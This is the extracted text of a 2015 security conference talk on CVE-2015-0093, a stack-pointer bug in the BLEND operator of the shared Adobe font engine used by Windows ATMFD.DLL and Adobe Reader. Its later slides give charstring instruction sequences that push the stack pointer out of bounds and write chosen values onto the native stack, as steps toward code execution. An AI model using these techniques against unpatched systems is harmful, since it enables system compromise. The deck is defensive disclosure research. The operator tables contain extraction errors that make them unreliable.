One font vulnerability to rule them all

A story of cross-software ownage, shared codebases and advanced exploitation.

Mateusz “j00ru” Jurczyk
REcon 2015, Montreal
• Project Zero @ Google

• Low-level security researcher with interest in all sorts of vulnerability research and software exploitation.

• http://j00ru.vexillium.org/

• @j00ru
Agenda

- Type 1 and OpenType font primer
- Adobe Type Manager Font Driver (ATMFD.DLL) in Windows and shared codebases
  - CVE-2015-0093 (a.k.a. CVE-2015-3052) – one font vulnerability to rule them all
    - Exploitation of Adobe Reader 11.0.10 + Windows 8.1 Update 1 x86
    - Exploitation of Adobe Reader 11.0.10 + Windows 8.1 Update 1 x86-64 (feat. CVE-2015-0090)
- Final thoughts
Type 1 / OpenType font primer
Adobe PostScript fonts

• In 1984, Adobe introduced two outline font formats based on the PostScript language (itself created in 1982):
  • *Type 1*, which may only use a specific subset of PostScript specification.
  • *Type 3*, which can take advantage of all of PostScript’s features.

• Originally proprietary formats, with technical specification commercially licensed to partners.
  • Only publicly documented in March 1990, following Apple’s work on an independent font format, *TrueType*. 
Type 1 primer – general structure

Figure 2b. Typical dictionary structure of a Type 1 font program

Adobe Type 1 Font Format, Adobe Systems Incorporated
Type 1 Charstrings

Type 1 Charstring execution context

- **Instruction stream** – the stream of encoded instructions used to fetch operators and execute them. Not accessible by the Type 1 program itself.

- **Operand stack** – a LIFO structure holding up to 24 numeric (32-bit) entries. Similarly to PostScript, it is used to store instruction operands.
  - various instructions interpret stack items as 16-bit or 32-bit numbers, depending on the operator.

- **Transient array** or **BuildCharArray** – a fully accessible array of 32-bit numeric entries; can be pre-initialized by specifying a `/BuildCharArray` array in the Private Dictionary, and the size can be controlled via a `/lenBuildCharArray` entry of type “number”.

  The data structure is not officially documented anywhere that I know of, yet most interpreters implement it.
Type 1 Charstring operators

Officially, divided into six groups by function:

• Byte range 0 – 31:
  • Commands for starting and finishing a character’s outline,
  • Path constructions commands,
  • Hint commands,
  • Arithmetic commands,
  • Subroutine commands.

• Byte range 32 – 255:
  • Immediate values pushed to the operand stack; a special encoding used with more bytes loaded from the instruction stream in order to represent the full 32-bit range.
# Type 1 Charstring operators

<table>
<thead>
<tr>
<th>Value</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>dotsection</td>
</tr>
<tr>
<td>1</td>
<td>hstem</td>
</tr>
<tr>
<td>2</td>
<td>vstem</td>
</tr>
<tr>
<td>3</td>
<td>vmoveto</td>
</tr>
<tr>
<td>4</td>
<td>rlineto</td>
</tr>
<tr>
<td>5</td>
<td>hlineto</td>
</tr>
<tr>
<td>6</td>
<td>vlineto</td>
</tr>
<tr>
<td>8</td>
<td>rrcurveto</td>
</tr>
<tr>
<td>9</td>
<td>closepath</td>
</tr>
<tr>
<td>10</td>
<td>callsubr</td>
</tr>
<tr>
<td>11</td>
<td>return</td>
</tr>
<tr>
<td>12</td>
<td>escape</td>
</tr>
<tr>
<td>13</td>
<td>hsbw</td>
</tr>
<tr>
<td>14</td>
<td>endchar</td>
</tr>
<tr>
<td>15</td>
<td>rmoveto</td>
</tr>
<tr>
<td>16</td>
<td>hmoveto</td>
</tr>
<tr>
<td>17</td>
<td>vhcurveto</td>
</tr>
<tr>
<td>18</td>
<td>vhcurveto</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Value</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>dotsection</td>
</tr>
<tr>
<td>1</td>
<td>vstem3</td>
</tr>
<tr>
<td>2</td>
<td>hstem3</td>
</tr>
<tr>
<td>4</td>
<td>seac</td>
</tr>
<tr>
<td>6</td>
<td>sbw</td>
</tr>
<tr>
<td>7</td>
<td>div</td>
</tr>
<tr>
<td>8</td>
<td>callothersubr</td>
</tr>
<tr>
<td>9</td>
<td>pop</td>
</tr>
<tr>
<td>10</td>
<td>setcurrentpoint</td>
</tr>
</tbody>
</table>

0, 2, 15-20, 23-29 missing?  
Lots of IDs missing in between operators?
Type 1 Charstring operators

• The Type 1 format dynamically changed in the first years of its presence, with various features added and removed as seen fit by Adobe.
  
  • Even though some features are now obsolete and not part of the specification, they still remained in some implementations.
Type 1 Font Files

• Several files required to load the font, e.g. for Windows it’s .pfb + .pfm [+ .mmm]

<table>
<thead>
<tr>
<th>File</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>.mmm</td>
<td>Multiple master Type1 font resource file. It must be used with .pfm and .pfb files.</td>
</tr>
<tr>
<td>.pfb</td>
<td>Type 1 font bits file. It is used with a .pfm file.</td>
</tr>
<tr>
<td>.pfm</td>
<td>Type 1 font metrics file. It is used with a .pfb file.</td>
</tr>
</tbody>
</table>

AddFontResource function, MSDN
Type 1 Multiple Master (MM) fonts

• In 1991, Adobe released an extension to the Type 1 font format called “Multiple Master fonts”.

  • enables specifying two or more “masters” (font styles) and interpolating between them along a continuous range of “axes”.

    • weight, width, optical size, style

  • technically implemented by introducing several new DICT fields and Charstring instructions.
Type 1 Multiple Master (MM) fonts

Design axis | Dynamic range
---|---
Weight | Light to Black
Width | Condensed to Extended
Optical size | 6-point to 72-point designs, shown at the same size for comparison
Style | Wedge Serif to Slab Serif

Type 1 Multiple Master (MM) fonts

• Initially supported in Adobe Type Manager (itself released in 1990).
  • first program to properly rasterize Type 1 fonts on screen.

• Not commonly adopted world-wide, partially due to the advent of OpenType.
  • only 30 commercial and 8 free MM fonts released (mostly by Adobe itself).
  • very sparse software support nowadays; however, at least Microsoft Windows (GDI) and Adobe Reader still support it.
OpenType/CFF primer

• Released by Microsoft and Adobe in 1997 to supersede TrueType and Type 1 fonts.

• Major differences:
  • only requires a single font file (.OTF) instead of two or more.
  • previously textual data (such as DICTs) converted to compact, binary form to reduce memory consumption.
  • the Charstring specification significantly extended, introducing new instructions and deprecating some older ones.
# Type 2 Charstring Operators

## One-byte Type 2 Operators

<table>
<thead>
<tr>
<th>Dec</th>
<th>Hex</th>
<th>Operator</th>
<th>Dec</th>
<th>Hex</th>
<th>Operator</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>00</td>
<td>-Reserved-</td>
<td>18</td>
<td>12</td>
<td>hstemhm</td>
</tr>
<tr>
<td>1</td>
<td>01</td>
<td>hstem</td>
<td>19</td>
<td>13</td>
<td>hintmask</td>
</tr>
<tr>
<td>2</td>
<td>02</td>
<td>-Reserved-</td>
<td>20</td>
<td>14</td>
<td>cntrmask</td>
</tr>
<tr>
<td>3</td>
<td>03</td>
<td>vstem</td>
<td>21</td>
<td>15</td>
<td>rmoveto</td>
</tr>
<tr>
<td>4</td>
<td>04</td>
<td>vmoveto</td>
<td>22</td>
<td>16</td>
<td>hmoveto</td>
</tr>
<tr>
<td>5</td>
<td>05</td>
<td>rlineto</td>
<td>23</td>
<td>17</td>
<td>vstemhm</td>
</tr>
<tr>
<td>6</td>
<td>06</td>
<td>hlineto</td>
<td>24</td>
<td>18</td>
<td>rcurveline</td>
</tr>
<tr>
<td>7</td>
<td>07</td>
<td>vlineto</td>
<td>25</td>
<td>19</td>
<td>rlinecurve</td>
</tr>
<tr>
<td>8</td>
<td>08</td>
<td>rrcurveveto</td>
<td>26</td>
<td>1a</td>
<td>vcurveveto</td>
</tr>
<tr>
<td>9</td>
<td>09</td>
<td>-Reserved-</td>
<td>27</td>
<td>1b</td>
<td>hhcurvetoe</td>
</tr>
<tr>
<td>10</td>
<td>0a</td>
<td>callsubr</td>
<td>28</td>
<td>1c</td>
<td>shortint</td>
</tr>
<tr>
<td>11</td>
<td>0b</td>
<td>return</td>
<td>29</td>
<td>1d</td>
<td>callsubr</td>
</tr>
<tr>
<td>12</td>
<td>0c</td>
<td>escape</td>
<td>30</td>
<td>1e</td>
<td>vcurvetoe</td>
</tr>
<tr>
<td>13</td>
<td>0d</td>
<td>-Reserved-</td>
<td>31</td>
<td>1f</td>
<td>hcurvetoe</td>
</tr>
<tr>
<td>14</td>
<td>0e</td>
<td>endchar</td>
<td>32–246</td>
<td>20–f6</td>
<td>&lt;numbers&gt;</td>
</tr>
<tr>
<td>15</td>
<td>0f</td>
<td>-Reserved-</td>
<td>247–254</td>
<td>f7–fe</td>
<td>&lt;numbers&gt;</td>
</tr>
<tr>
<td>16</td>
<td>10</td>
<td>-Reserved-</td>
<td>255^4</td>
<td>ff</td>
<td>&lt;number&gt;</td>
</tr>
<tr>
<td>17</td>
<td>11</td>
<td>-Reserved-</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

## Two-byte Type 2 Operators

<table>
<thead>
<tr>
<th>Dec</th>
<th>Hex</th>
<th>Operator</th>
<th>Dec</th>
<th>Hex</th>
<th>Operator</th>
</tr>
</thead>
<tbody>
<tr>
<td>12</td>
<td>0c</td>
<td>-Reserved-</td>
<td>12</td>
<td>14</td>
<td>put</td>
</tr>
<tr>
<td>12</td>
<td>0c</td>
<td>-Reserved-</td>
<td>12</td>
<td>20</td>
<td>put</td>
</tr>
<tr>
<td>12</td>
<td>0c</td>
<td>-Reserved-</td>
<td>12</td>
<td>21</td>
<td>get</td>
</tr>
<tr>
<td>12</td>
<td>0c</td>
<td>-Reserved-</td>
<td>12</td>
<td>22</td>
<td>ifelse</td>
</tr>
<tr>
<td>12</td>
<td>0c</td>
<td>-Reserved-</td>
<td>12</td>
<td>23</td>
<td>random</td>
</tr>
<tr>
<td>12</td>
<td>0c</td>
<td>-Reserved-</td>
<td>12</td>
<td>24</td>
<td>mul</td>
</tr>
<tr>
<td>12</td>
<td>0c</td>
<td>-Reserved-</td>
<td>12</td>
<td>25</td>
<td>-Reserved-</td>
</tr>
<tr>
<td>12</td>
<td>0c</td>
<td>-Reserved-</td>
<td>12</td>
<td>26</td>
<td>sqrt</td>
</tr>
<tr>
<td>12</td>
<td>0c</td>
<td>-Reserved-</td>
<td>12</td>
<td>27</td>
<td>dup</td>
</tr>
<tr>
<td>12</td>
<td>0c</td>
<td>-Reserved-</td>
<td>12</td>
<td>28</td>
<td>exch</td>
</tr>
<tr>
<td>12</td>
<td>0c</td>
<td>-Reserved-</td>
<td>12</td>
<td>29</td>
<td>index</td>
</tr>
<tr>
<td>12</td>
<td>0c</td>
<td>-Reserved-</td>
<td>12</td>
<td>30</td>
<td>roll</td>
</tr>
<tr>
<td>12</td>
<td>0c</td>
<td>-Reserved-</td>
<td>12</td>
<td>31</td>
<td>-Reserved-</td>
</tr>
<tr>
<td>12</td>
<td>0c</td>
<td>-Reserved-</td>
<td>12</td>
<td>32</td>
<td>-Reserved-</td>
</tr>
<tr>
<td>12</td>
<td>0c</td>
<td>-Reserved-</td>
<td>12</td>
<td>33</td>
<td>-Reserved-</td>
</tr>
<tr>
<td>12</td>
<td>0c</td>
<td>-Reserved-</td>
<td>12</td>
<td>34</td>
<td>hflex</td>
</tr>
<tr>
<td>12</td>
<td>0c</td>
<td>-Reserved-</td>
<td>12</td>
<td>35</td>
<td>flex</td>
</tr>
<tr>
<td>12</td>
<td>0c</td>
<td>-Reserved-</td>
<td>12</td>
<td>36</td>
<td>hflex1</td>
</tr>
<tr>
<td>12</td>
<td>0c</td>
<td>-Reserved-</td>
<td>12</td>
<td>37</td>
<td>flex1</td>
</tr>
</tbody>
</table>
| 12  | 0c  | -Reserved- | 12  | 38–12 255 | -Reserved-
| 12  | 0c  | -Reserved- | 12  | 255 | 0c ff    |

^4: Some values are represented as 4 bytes.
Type 2 Charstring Operators

• Changes in the Charstring specs:
  • with *global* and *local* subroutines in OpenType, a new *callgsubr* instruction added,
  • multiple new hinting-related instructions introduced (*hstemhm, hintmask, cntrmask*, …),
  • new arithmetic and logic instructions (*and, or, not, abs, add, sub, neg*, …),
  • new instructions managing the stack (*dup, exch, index, roll*),
  • new miscellaneous instructions (*random*),
  • new instructions operating on the transient array (*get, put*),
  • dropped support for OtherSubrs (removed *callothersubr*).
OpenType/CFF limits specified

A good starting point for vulnerability hunting:

The following are the implementation limits of the Type 2 charstring interpreter:

<table>
<thead>
<tr>
<th>Description</th>
<th>Limit</th>
</tr>
</thead>
<tbody>
<tr>
<td>Argument stack</td>
<td>48</td>
</tr>
<tr>
<td>Number of stem hints (H/V total)</td>
<td>96</td>
</tr>
<tr>
<td>Subr nesting, stack limit</td>
<td>10</td>
</tr>
<tr>
<td>Charstring length</td>
<td>65535</td>
</tr>
<tr>
<td>maximum (g)subrs count</td>
<td>65536</td>
</tr>
<tr>
<td>TransientArray elements</td>
<td>32</td>
</tr>
</tbody>
</table>
Adobe Type Manager
Adobe Type Manager (ATM)

• Ported to Windows (3.0, 3.1, 95, 98, Me) by patching into the OS at a very low level in order to provide *native* support for Type 1 fonts.

• Windows NT made it *impossible* (?) to continue this practice.
  • Microsoft originally reacted by allowing Type 1 fonts to be converted to TrueType during system installation.
  • In Windows NT 4.0, ATM was added to the Windows kernel as a third-party font driver, becoming ATMFD.DLL.
  • It is there until today, still providing support for PostScript fonts on modern Windows.
Nowadays – shared codebases
There’s some good news...

• Various software only based on the same codebase.

• Living in different branches and maintained by different groups of people.

• Received a varied degree of attention from the security community.

• Don’t have to be affected by the exact same set of bugs!
... and there’s some bad news!

• Various software only *based* on the same codebase.

• Living in different branches and maintained by different groups of people.

• Received a varied degree of attention from the security community.

• Don’t have to be affected by the exact same set of bugs!

*Bindiffing anyone?*
Let’s manually audit the Charstring state machine implemented in Adobe Type Manager Font Driver.
Reverse engineering ATMFD.DLL
ATMFD.DLL: basic recon

• As opposed to Microsoft-authored system components, debug symbols for ATMFD.DLL are not available from the Microsoft symbol server.

• We have to stick with just sub_XXXXX. 😞

• Perhaps one of the reasons why it was less thoroughly audited as compared to the TTF font handling in win32k.sys?
Shared code, shared symbols?

However, since we know that DirectWrite (DWrite.dll) and WPF (PresentationCFFRasterizerNative_v0300.dll) share the same code, perhaps we could use some simple bindiffing to resolve some symbols?
There’s another way

• As Halvar Flake noticed, Adobe released Reader 4 for AIX and Reader 5 for Windows long time ago with symbols.

  • this includes the font engine, CoolType.dll.
  
  • the code has not fundamentally changed since then: it’s basically the same with minor patches.

  • it is possible to cross-diff them with modern CoolType, ATMFD or other modules to match some symbols, easing the reverse engineering process.
ATMFD.DLL: basic recon

• On the bright side, the library is full of debug messages that we can use to find our way in the assembly.
  • variable names, function names, unmet conditions and source file paths!
• Furthermore, there are multiple Type 1 font string literals, too.
ATMFD.DLL: basic recon

Debug messages:

Type 1 string literals:
Where’s Waldo?

• It is relatively easy to locate the Charstring processing routine in ATMFD.DLL.

• For one, it contains references to a lot Charstring-related debug strings:

```
.text:0003ECC4 loc_3ECC4:  ; CODE XREF: sub_3A1FC+13A7↑
.text:0003ECC4  ; sub_3A1FC+13B0↑
.text:0003ECC4  push offset aFalse  ; "false"
.text:0003ECC9  push offset aOperandStackUnderflow  ; "operand stack underflow"
.text:0003ECF8  push 169Ah
.text:0003ECF9  jmp loc_3EB8A
.text:0003ECF9
.text:0003ECF9 loc_3ECD8:  ; CODE XREF: sub_3A1FC+1434↑
.text:0003ECF8  push offset aFalse  ; "false"
.text:0003ECDF  push offset aArgumentCountError @ otherNEWCOLORS
.text:0003ECE2  push 1683h
.text:0003ECE7  jmp loc_3F1A2
.text:0003ECE7
.text:0003ECE7 loc_3ECFC:  ; CODE XREF: sub_3A1FC+1441↑
.text:0003ECFC  push offset aFalse  ; "false"
.text:0003ECF1  push offset aPsStackOverflow @ otherNEWCOLORS
.text:0003ECF6  push 1686h
.text:0003ECF6  jmp loc_3F1A2
.text:0003ECF6
.text:0003ECF6
```
Where’s Waldo?

• Incidentally, the function is also by far the largest one in the whole DLL (20kB):
The interpreter function

• By looking at DirectWrite and WPF, we can see that its caller is named **Type1InterpretCharString**.

• In the symbolized CoolType, the interpreter itself is named **DoType1InterpretCharString**.

• It is essentially a giant *switch-case* statement, handling the different instructions inline.
The interpreter function

BYTE op = *charstring++;  
switch (op) {
    case HSTEM:
        ...
        
    case VSTEM:
        ...
        
    case VMOVETO:
        ...
        
    ...
}

Postscript operand stack on the actual stack

... VOID *op_sp; @EDI ...
ULONG op_stk[48]; ...
Saved EBP
Return address
Callers’ stack frames

Higher addresses
Why so large?

• The same interpreter is used for both Type 1 and Type 2 (OpenType) Charstrings.
  • Type 1 fonts have access to all OpenType instructions, and vice versa! :o

• The interpreter in ATMFD.DLL still implements

  **every single feature**

  that was EVER part of the Type 1 / OpenType specs.

• Even the most obsolete / deprecated / forgotten ones.
## ATMFD Charstring audit results

<table>
<thead>
<tr>
<th>Issue Type</th>
<th>Microsoft Windows (ATMFD)</th>
<th>Adobe Reader (CoolType)</th>
<th>DirectWrite</th>
<th>Windows Presentation Foundation</th>
</tr>
</thead>
<tbody>
<tr>
<td>Unlimited Charstring execution</td>
<td>CVE-2015-0074</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Out-of-bounds reads from the Charstring stream</td>
<td>CVE-2015-0087</td>
<td>CVE-2015-3095</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Off-by-x out-of-bounds reads/writes relative to the operand stack</td>
<td>CVE-2015-0088</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Read/write-what-where in LOAD and STORE operators</td>
<td>CVE-2015-0090</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Buffer overflow in Counter Control Hints</td>
<td>CVE-2015-0091</td>
<td>CVE-2015-3050</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Buffer underflow due to integer overflow in STOREWV</td>
<td>CVE-2015-0092</td>
<td>CVE-2015-3051</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Unlimited out-of-bounds stack manipulation via BLEND operator</td>
<td>CVE-2015-0093</td>
<td>CVE-2015-3052</td>
<td>-</td>
<td>-</td>
</tr>
</tbody>
</table>
## CVE-2015-0093: unlimited out-of-bounds stack manipulation via BLEND operator

<table>
<thead>
<tr>
<th>Impact:</th>
<th>Elevation of Privileges / Remote Code Execution</th>
</tr>
</thead>
<tbody>
<tr>
<td>Architecture:</td>
<td>x86</td>
</tr>
<tr>
<td>Reproducible with:</td>
<td>Type 1</td>
</tr>
<tr>
<td><code>google-security-research</code> entries:</td>
<td>180, 258</td>
</tr>
</tbody>
</table>
CVE-2015-0093: the BLEND operator

• Related to the forgotten *Multiple Master* fonts.

• Introduced in „The Type 2 Charstring Format” on 5 May 1998.

• Removed from the specs on 16 March 2000:

  **Changes in the 16 March 2000 document**

  • The information on the *blend* operator, and all references to multiple master fonts, were removed.

• Obviously still supported in a number of engines. 😊
CVE-2015-0093: the BLEND operator

```
blend  num(1,1)...num(1,n) num(2,1)...num(k,n) n blend (16)
    val1...valn
```

for \( k \) master designs, produces \( n \) interpolated result value(s) from \( n*k \) arguments.

- Pops \( k*n \) arguments from the stack, where:
  - \( k \) = number of master designs (length of the /WeightVector table).
  - \( n \) = controlled signed 16-bit value loaded from the operand stack.
- Pushes back \( n \) values to the stack.
CVE-2015-0093: bounds checking

The interpreter had a good intention to verify that the specified number of arguments is present on the stack:

case BLEND:
    if ( op_sp < &op_stk[1] || op_sp > &op_stk_end ) // bail out.
    ...
    if ( master_designs == 0 && &op_sp[n] >= &op_stk_end ) // bail out.
    ...
    if ( &op_stk[n * master_designs] > op_sp ) // bail out.
    ...
    op_sp = DoBlend(op_sp, font->weight_vector, font->master_designs, n);
CVE-2015-0093: bounds checking

1. Is the stack pointer within the bounds of the stack buffer?
   \[ \text{op}_\text{sp} \geq \text{op}_\text{stk} \land \text{op}_\text{sp} \leq \&\text{op}_\text{stk}_\text{end} \]

2. Is there at least one item (n) on the stack?
   \[ \text{op}_\text{sp} \geq \&\text{op}_\text{sp}[1] \]

3. Are there enough items (parameters) on the stack?
   \[ \&\text{op}_\text{stk}[n \times \text{master}\_\text{designs}] \leq \text{op}_\text{sp} \]

3. Is there enough space left on the stack to push the output parameters?
   \[ \text{master}\_\text{designs} \neq \emptyset \lor \&\text{op}_\text{sp}[n] < \&\text{op}_\text{stk}_\text{end} \]
CVE-2015-0093: debug messages

AtmfdDbgPrint("windows\core\ntgdi\fondrv\otfd\bc\t1interp.c", 6552, "stack underflow in cmdBLEND", "false");

AtmfdDbgPrint("windows\core\ntgdi\fondrv\otfd\bc\t1interp.c", 6558, "stack overflow in cmdBLEND", "false");

AtmfdDbgPrint("windows\core\ntgdi\fondrv\otfd\bc\t1interp.c", 6561, "DoBlend would underflow operand stack", "op_stk + inst->lenWeightVector*nArgs <= op_sp");
CVE-2015-0093: the **DoBlend** function

- Turns out, a negative value of $n$ passes all the checks!

- Reaches the **DoBlend** function, which:
  - loads the input parameters from the stack,
  - performs the blending operation,
  - pushes the resulting values back.
CVE-2015-0093: the DoBlend function

From a technical point of view, what happens is essentially:

\[ \text{op_sp} \; - \; n \; * \; (\text{master\_designs} \; - \; 1) \; * \; 4 \]

which is the result of popping \( k*n \) values, and pushing \( n \) values back.
**CVE-2015-0093**

- For a negative $n$, no actual popping/pushing takes place.
  - However, the stack pointer (op_sp) is still adjusted accordingly.
  - With controlled 16-bit $n$, we can arbitrarily increase the stack pointer, well beyond the `op_stk[]` array.
    - **It is a security boundary**: the stack pointer should ALWAYS point inside the one local array.
CVE-2015-0093: we’re quite lucky!

• At the beginning of the main interpreter loop, the function checks if `op_sp` is smaller than `op_stk[]`:

```c
if (op_sp < op_stk) {
    AtmfdbDbgPrint("windows\core\ntgdi\fondrv\otfd\bc\t1interp.c", 4475, "underflow of Type 1 operand stack",
                     "op_sp >= op_stk");
    abort();
}
```

• It does not check if `op_sp` is greater than the end of `op_stk[]`, making it possible to execute further instructions with the inconsistent interpreter state.
CVE-2015-0093: stack pointer control

• With $|WeightVector|=16$, we can increase $op_{sp}$ by as much as

$$32768 \times 15 \times 4 = 1966080 \ (0x1E0000).$$

  • well beyond the stack area – we could target other memory areas such as pools, executable images etc.

• With $|WeightVector|=2$, the stack pointer is shifted by exactly $-n*4 \ (n$ DWORDs), providing a great granularity for out-of-bounds memory access.

  • by using a two-command -$x$ blend sequence, we can set $op_{sp}$ to any offset relative to the $op_{stk[]}$ array.
For example...
CVE-2015-0093

**DoType1InterpretCharString** stack frame (operand stack)

```
VOID *op_sp; @EDI

ULONG op_stk[48];

... Saved EBP ...

Return address

Callers’ stack frames
```

349 DWORD distance

Charstring Program

```
-349
blend
exch
derendchar
```
CVE-2015-0093

DoType1InterpretCharString stack frame (operand stack)

-349
ULONG op_stk[48];
Saved EBP
Return address
Callers’ stack frames

Charstring Program
-349
blend
exch
endchar
CVE-2015-0093

**DoType1InterpretCharString** stack frame (operand stack)

- VOID *op_sp; @EDI
- ULONG op_stk[48];
- ...
- Saved EBP
- Return address
- Callers’ stack frames

**Charstring Program**
- -349
- blend
- exch
- endchar

**Higher addresses**
CVE-2015-0093

DoType1InterpretCharString stack frame (operand stack)

Callers’ stack frames

Return address

Saved EBP

VOID *op_sp; @EDI

ULONG op_stk[48];

-349

blend

exch

endchar

Charstring Program
CVE-2015-0093

DoType1InterpretCharString stack frame (operand stack)

Charstring Program

-349
blend
exch
endchar
CVE-2015-0093: bugcheck

ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY (fc)
An attempt was made to execute non-executable memory. The guilty driver is on the stack trace (and is typically the current instruction pointer). When possible, the guilty driver's name (Unicode string) is printed on the bugcheck screen and saved in KiBugCheckDriver.

Arguments:
Arg1: 97ebf6a4, Virtual address for the attempted execute.
Arg2: 11dd2963, PTE contents.
Arg3: 97ebf56c, (reserved)
Arg4: 00000002, (reserved)
CVE-2015-0093: impact

- We can use the supported (*arithmetic*, *storage*, etc.) operators over the out-of-bounds `op_sp` pointer.
  - Possible to add, subtract, move data around on stack, insert constants etc.
  - Pretty much all the primitives requires to build a full ROP chain.

- The bug enables the creation a 100% reliable Charstring-only exploit subverting all modern exploit mitigations (stack cookies, DEP, ASLR, SMEP, ...) to execute code.
  - Both Adobe Reader and the Windows Kernel were affected.
  - Possible to create a chain of exploits for full system compromise (RCE + sandbox escape) using just this single vulnerability.
CVE-2015-0093: 64-bit

• On 64-bit platforms, the \( n \times \text{master\_designs} \) expression is cast to \textit{unsigned int} in one of the bounds checking \textit{if statements}:

\[
\text{if } ((\text{uint64})(\&\text{op\_stk} + 4 \times (\text{uint32})(n \times \text{master\_designs})) > \text{op\_sp})
\]

• Consequently, the whole check fails for negative \( n \), eliminating the vulnerability from the code.

• Not to worry, there are no 64-bit builds of Adobe Reader.

• In the x64 Windows kernel, there are other font vulnerabilities to exploit for a sandbox escape 😊
Let the fun begin!
The overall goal

• Prepare a PDF file which pops out `calc.exe` upon opening in Adobe Reader 11.0.10 on Windows 8.1 Update 1, both 32-bit and 64-bit.
  • 100% reliable against the targeted software build.
  • High integrity level and/or `NT AUTHORITY/SYSTEM` security context.
  • Subverting all available exploit mitigations in both user and kernel land.

• Since there are no x64 builds of Adobe Reader, a single exploit for RCE will do.
  • Two distinct exploits required for the 32-bit and 64-bit kernels, though.
Adobe Reader 11.0.10 exploit
Disallowed charstring instructions

• While we can set the `op_sp` pointer well outside the local `op_stk[]` array, not all operators will work then.

• Specifically, all operators moving the stack pointer *forward* (pushing more data than loading) check if it’s still within bounds.
  • makes it impossible to write constants under `op_sp` in a normal way via numeric operators.
  • some other instructions such as `DUP`, `POP`, `CALL GSUBR`, `RANDOM` are forbidden, too.
case RANDOM:
    if (op_sp >= &op_stk_end) {
        AtmfdDbgPrint("windows\core\ntgdi\fondrv\otfd\bc\t1interp.c",
                       6015, "stack overflow - otherRANDOM", "false");
        goto label_error;
    }


Allowed Charstring instructions

• However, commands which write to the stack but do not increase the stack pointer omit the checks.
  • it’s a valid optimization – since each modification of op_sp is (in theory) properly sanitized, the interpreter can assume at any point in time that the pointer is valid.
  • the lack of this safety net makes the vulnerability exploitable.
Allowed Charstring instructions

• **NOT** (Bitwise negation)

• **NEG** (Negation)

• **ABS** (Absolute value)

• **SQRT** (Square root)

• **INDEX** (Get value from stack)

• **EXCH** (Exchange values on stack)

• **DIV** (Division)

• **ADD** (Addition)

• **SUB** (Subtraction)

• **MUL** (Multiplication)

• **GET** (Get value from transient array)
Writing data anywhere on the stack

• Writing data directly is impossible due to the reasons mentioned above.
• We could try to use the INDEX instruction: it replaces the top stack item with the one \( x \) items below the top.
  • however, we don’t control the “\( x \)” (we are only trying to control it right now).
• The arithmetic and logic instructions (ADD, SUB, MUL, DIV, ABS, NEG etc.) also require somewhat controlled operands, which we obviously don’t have.
• Is it hopeless? End of talk?
What about the GET instruction?

- Usage: \texttt{idx \ GET \ \rightarrow \ val}

  - replaces the index \textit{idx} with the transient array value at that index.

- Since the index is only 16 bits, maybe we could specify the transient array to be 65535 entries long (via \texttt{/lenBuildCharArray}), and insert the desired value into all cells?
Some problems

1. It would be really expensive; over 65 thousands of instructions for a single value insertion sounds like a lot of overhead.

2. The index is a **signed** 16-bit value, and negative arguments are rejected by the **GET** command.
   - the **ABS** instruction would probably fix this, though.
SQRT for the rescue!

• We *can* control the value under an out-of-bounds `op_sp` pointer to some degree.

• The **SQRT** operator replaces the top 16-bit value with its square root.
  • In fact a 16.16 Fixed value, but that’s irrelevant, because the integer parts overlap.

• After 5 subsequent invocations of the instruction, the top 16-bit stack value will always be equal to:
  • 0 – if the value was originally zero.
  • 1 – if the value was originally non-zero.

• The value can be then used as a deterministic parameter of the **GET** instruction.
Writing data to stack – example

Interpreter stack frame

...  
...  
0x11223344  
0x55667788  
0x99aabbcc  

Callers’ stack frames

Operand stack

?  
?  
?  
...

Transient array

?  
?  
?  
...

Instruction stream

31337  
dup  
0  
put  
1  
put  
-100  
blend  
sqrt  
sqrt  
sqrt  
sqrt  
sqrt  
get
Writing data to stack – example

Interpreter stack frame

Operand stack

Transient array

Instruction stream

Callers' stack frames

0x11223344
0x55667788
0x99aabbcc

31377
? 
? ...

31377
dup
0
put
1
put
-100
blend
sqrt
sqrt
sqrt
sqrt
sqrt
get
Writing data to stack – example

Interpreter stack frame

Operand stack

Transient array

Instruction stream

Callers’ stack frames

0x11223344
0x55667788
0x99aabbcc
Writing data to stack – example

Interpreter stack frame

Operand stack

Transient array

Instruction stream

Callers’ stack frames

...
Writing data to stack – example

- Interpreter stack frame
- Operand stack
- Instruction stream

Transient array

Callers’ stack frames

Operand stack:
- 31337
- 31337
- 0
- ...

Instruction stream:
- 31337
- dup
- 0
- put
- 1
- put
- -100
- blend
- sqrt
- sqrt
- sqrt
- sqrt
- sqrt
- get
Writing data to stack – example

Interpreter stack frame

... 

Callers’ stack frames

0x11223344
0x55667788
0x99aabbcc

Operand stack

31337
1
0
...

Transient array

31337
?
?
...

Instruction stream

31337
dup
0
put
1
put
-100
blend
sqrt
sqrt
sqrt
sqrt
sqrt
get
Writing data to stack – example

Interpreter stack frame

Operand stack

31337
1
0
...

Transient array

31337
31337
?
...

Instruction stream

31337
dup
0
put
1
put
-100
blend
sqrt
sqrt
sqrt
sqrt
get

Callers’ stack frames

0x11223344
0x55667788
0x99aabbcc
Writing data to stack – example

Interpreter stack frame

-100
1
0
...
...
...
0x11223344
0x55667788
0x99aabbcc
Callers' stack frames

Operand stack

Operand stack

Transient array

Instruction stream

31337
dup
0
put
1
put
-100
blend
sqrt
sqrt
sqrt
sqrt
sqrt
get
Writing data to stack – example

Interpreter stack frame

Operand stack

Transient array

Instruction stream

Callers’ stack frames

0x11223344
0x55667788
0x99aabbcc
Writing data to stack – example

Interpreter stack frame

Operand stack

Transient array

Instruction stream

Callers’ stack frames

0x00423a78
0x55667788
0x99aabbcc

31337
1
0
...
...
31337
31337
?
...
31337
dup
0
put
1
put
-100
blend
sqrt
sqrt
sqrt
sqrt
sqrt
get
Writing data to stack – example

Interpreter stack frame

Operand stack

Instruction stream

Callers’ stack frames

Operand stack

Instruction stream

Transient array

31337
1
0
...

31337
dup
0

put
1
